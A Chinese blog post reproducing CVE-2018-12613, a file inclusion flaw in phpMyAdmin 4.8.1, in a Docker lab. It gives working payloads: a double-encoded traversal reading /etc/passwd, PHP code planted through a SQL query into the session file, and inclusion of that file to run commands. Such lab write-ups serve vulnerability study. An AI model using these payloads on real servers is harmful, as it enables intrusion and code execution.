phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)
phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。其index.php中存在一处文件包含逻辑,通过二次编码即可绕过检查,造成远程文件包含漏洞。
参考文档:
漏洞环境
执行如下命令,启动phpmyadmin 4.8.1:
docker-compose up -d
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220518081800270-1840258329.png)
环境启动后,访问http://your-ip:8080
,即可进入phpmyadmin。配置的是“config”模式,所以无需输入密码,直接登录test账户。
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220518081800287-125050769.png)
漏洞复现
尝试读取/etc/passwd
构造payload:
index.php?target=db_sql.php%253f/../../../../etc/passwd
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220518081800279-436057485.png)
漏洞存在
在SQL中执行select '<?php phpinfo() ?>';,然后查看当前页面cookie中的phpmyadmin的值
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220518081800318-547773536.png)
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220518081800329-1642442824.png)
包含session文件
http://192.168.75.130:8080/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_d3a37537d1314fd70ad53dc67cb18564
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220518081800313-203250165.png)
构造执行命令的语句,返回命令执行的结果
select '<?php echo
ls
?>';
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220518081800325-862538014.png)
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220518081800327-788614730.png)
本文来自博客园,作者:NoCirc1e,转载请注明原文链接:https://www.cnblogs.com/NoCirc1e/p/16283215.html